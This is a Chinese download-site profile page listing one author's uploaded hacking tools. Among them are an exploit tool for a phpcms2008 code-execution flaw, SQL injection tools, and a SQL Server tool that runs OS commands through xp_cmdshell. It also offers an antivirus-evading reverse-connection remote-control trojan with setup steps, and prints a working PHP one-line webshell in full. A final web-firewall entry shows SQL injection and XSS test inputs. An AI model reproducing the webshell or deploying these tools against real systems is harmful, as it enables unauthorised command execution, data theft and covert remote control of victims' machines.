- 博客(0)
- 资源 (15)
- 收藏
- 关注
phpcms2008 yp/prodcut.php 代码执行漏洞 利用工具
phpcms 2008 yp/product.php 文件pagesize参数没有过滤,导致执行任意php代码,利用前提pagesize>1。
2012-09-05
河马PostgreSQL注入工具v1.0
这个工具可以通过web接口,获取postgreSQL数据库的内容,
支持:数据获取
支持:文件读取。
contact me :[email protected]
2012-05-11
SQL Server弱口令利用工具1.3版
这个工具使用sql server 的一些功能,执行操作系统命令,
support xp_cmdshell execute arbtriry command
support sp_OACreate create Wscript.shell execute arbtriry commnad
support xp_dirtree list system directroy
support execute SQL Query
contact me :[email protected]
2012-05-11
php一句话webshell 服务端和客户端
php一句话webshell 服务端和客户端,一句话为
<?php $_GET[2]($_GET[0]($_GET[1]));?>
支持函数system,passthru,shell_exec
可以执行操作系统任意命令,windows linux unix 等。
[email protected],欢迎下载使用,本软件为免费版。
2012-05-11
河马SQLServer数据库专用注入工具v1.0
利用前提,存在php+sqlserver数据库的注入点,或asp+sqlserver数据库的注入点,
或jsp+sqlserver数据库的注入点,就可以利用本工具,查询表,字段,数据,并且
可以执行系统cmd命令和显示主机系统目录列表,这个工具有一个亮点是支持cookie
和身份验证。
速度很快,一款不错的工具,值得收藏。
这是网上唯一一款支持cookie的注入工具。
2011-05-04
河马远控3.1免杀版
大家好,今天给大家带来一款我自主开发的 采用反弹端口技术 远程控制软件
版本是3.1
该版本主要实现了以下功能:
1. 远程控制
2. 屏幕查看
3. 文件传输
4. Telnet超级终端
5. 卸载服务端
使用方法如下
先配置一个服务端,
点击生成服务端
域名和ip地址这里填写,被控端要连接的动态域名或静态ip地址
端口这里我填写80
然后将服务端运行一下,我这里在虚拟机下运行。
现在等待被控端上线,一般为1分钟内
等待
好了 已经上线了
好了, 完,有什么问题可以QQ上联系。
软件作者: 赵显阳
QQ:343561636
Email:[email protected]
2010-08-27
河马web应用防火墙
大家好,
今天给大家带来了我的新作品,iis web应用防火墙,
具有防sql注入攻击和防跨站脚本攻击的功能。
看安装动画
重启一下iis
安装完成后看我测试
http://192.168.16.186/quit.asp 这是一个正常页面
http://192.168.16.186/quit.asp?id=654321' 在连接的最后加单引号 系统报错
防火墙检测到SQL注入攻击
http://192.168.16.186/quit.asp?id=654321<script>alert(/xss)</script>
防火墙检测到跨站脚本(xss)攻击
完
作者:赵显阳
qq: 343561636
email:[email protected]
版本:v 1.0
2010-7-23
2010-07-23
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人